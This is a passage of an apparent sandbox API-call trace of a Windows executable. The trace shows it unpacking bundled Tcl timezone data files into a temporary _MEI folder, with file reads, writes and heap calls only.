(dwErrCode=0x0) [0043.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.178] GetFileType (hFile=0x10c) returned 0x1 [0043.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.178] CloseHandle (hObject=0x10c) returned 1 [0043.178] GetLastError () returned 0x0 [0043.178] SetLastError (dwErrCode=0x0) [0043.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.178] GetFileType (hFile=0x10c) returned 0x1 [0043.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.178] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.178] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.178] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.179] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.179] CloseHandle (hObject=0x10c) returned 1 [0043.179] GetLastError () returned 0x0 [0043.179] SetLastError (dwErrCode=0x0) [0043.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro") returned 71 [0043.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\majuro"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.179] GetLastError () returned 0x2 [0043.179] SetLastError (dwErrCode=0x2) [0043.179] GetLastError () returned 0x2 [0043.179] SetLastError (dwErrCode=0x2) [0043.179] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro", lpFilePart=0x0) returned 0x46 [0043.179] GetLastError () returned 0x2 [0043.179] SetLastError (dwErrCode=0x2) [0043.179] GetLastError () returned 0x2 [0043.179] SetLastError (dwErrCode=0x2) [0043.179] GetLastError () returned 0x2 [0043.179] SetLastError (dwErrCode=0x2) [0043.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro") returned 71 [0043.179] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.179] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Majuro" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\majuro"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.180] GetFileType (hFile=0x10c) returned 0x1 [0043.180] htonl (hostlong=0xad000000) returned 0xad [0043.180] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.180] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xad, lpOverlapped=0x0) returned 1 [0043.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.181] CloseHandle (hObject=0x10c) returned 1 [0043.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.181] htonl (hostlong=0x30000000) returned 0x30 [0043.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.181] GetFileType (hFile=0x10c) returned 0x1 [0043.181] htonl (hostlong=0x4a1a5d00) returned 0x5d1a4a [0043.181] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ca4a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.181] htonl (hostlong=0x90000000) returned 0x90 [0043.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0043.181] htonl (hostlong=0x90000000) returned 0x90 [0043.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.181] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.181] htonl (hostlong=0x98000000) returned 0x98 [0043.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x550600 [0043.181] htonl (hostlong=0x90000000) returned 0x90 [0043.181] htonl (hostlong=0x98000000) returned 0x98 [0043.181] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.181] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.181] CloseHandle (hObject=0x10c) returned 1 [0043.182] GetLastError () returned 0x0 [0043.182] SetLastError (dwErrCode=0x0) [0043.182] GetLastError () returned 0x0 [0043.182] SetLastError (dwErrCode=0x0) [0043.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.182] GetFileType (hFile=0x10c) returned 0x1 [0043.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.182] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.182] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.182] CloseHandle (hObject=0x10c) returned 1 [0043.182] GetLastError () returned 0x0 [0043.182] SetLastError (dwErrCode=0x0) [0043.182] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.182] GetFileType (hFile=0x10c) returned 0x1 [0043.182] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.182] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.183] CloseHandle (hObject=0x10c) returned 1 [0043.183] GetLastError () returned 0x0 [0043.183] SetLastError (dwErrCode=0x0) [0043.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.183] GetFileType (hFile=0x10c) returned 0x1 [0043.183] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.183] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.183] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.183] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.183] CloseHandle (hObject=0x10c) returned 1 [0043.183] GetLastError () returned 0x0 [0043.183] SetLastError (dwErrCode=0x0) [0043.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas") returned 74 [0043.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\marquesas"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.184] GetLastError () returned 0x2 [0043.184] SetLastError (dwErrCode=0x2) [0043.184] GetLastError () returned 0x2 [0043.184] SetLastError (dwErrCode=0x2) [0043.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas", lpFilePart=0x0) returned 0x49 [0043.184] GetLastError () returned 0x2 [0043.184] SetLastError (dwErrCode=0x2) [0043.184] GetLastError () returned 0x2 [0043.184] SetLastError (dwErrCode=0x2) [0043.184] GetLastError () returned 0x2 [0043.184] SetLastError (dwErrCode=0x2) [0043.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas") returned 74 [0043.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Marquesas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\marquesas"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.185] GetFileType (hFile=0x10c) returned 0x1 [0043.185] htonl (hostlong=0x98000000) returned 0x98 [0043.185] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.185] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x98, lpOverlapped=0x0) returned 1 [0043.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.186] CloseHandle (hObject=0x10c) returned 1 [0043.186] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.186] htonl (hostlong=0x30000000) returned 0x30 [0043.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.186] GetFileType (hFile=0x10c) returned 0x1 [0043.186] htonl (hostlong=0xda1a5d00) returned 0x5d1ada [0043.186] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cada, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.186] htonl (hostlong=0xb4000000) returned 0xb4 [0043.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb4) returned 0x55cfe0 [0043.186] htonl (hostlong=0xb4000000) returned 0xb4 [0043.186] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.187] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.187] htonl (hostlong=0xa010000) returned 0x10a [0043.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10a) returned 0x550600 [0043.187] htonl (hostlong=0xb4000000) returned 0xb4 [0043.187] htonl (hostlong=0xa010000) returned 0x10a [0043.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.187] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.187] CloseHandle (hObject=0x10c) returned 1 [0043.187] GetLastError () returned 0x0 [0043.187] SetLastError (dwErrCode=0x0) [0043.187] GetLastError () returned 0x0 [0043.187] SetLastError (dwErrCode=0x0) [0043.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.187] GetFileType (hFile=0x10c) returned 0x1 [0043.187] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.187] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.187] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.187] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.187] CloseHandle (hObject=0x10c) returned 1 [0043.188] GetLastError () returned 0x0 [0043.188] SetLastError (dwErrCode=0x0) [0043.188] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.188] GetFileType (hFile=0x10c) returned 0x1 [0043.188] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.188] FileTimeToSystemTime (in: 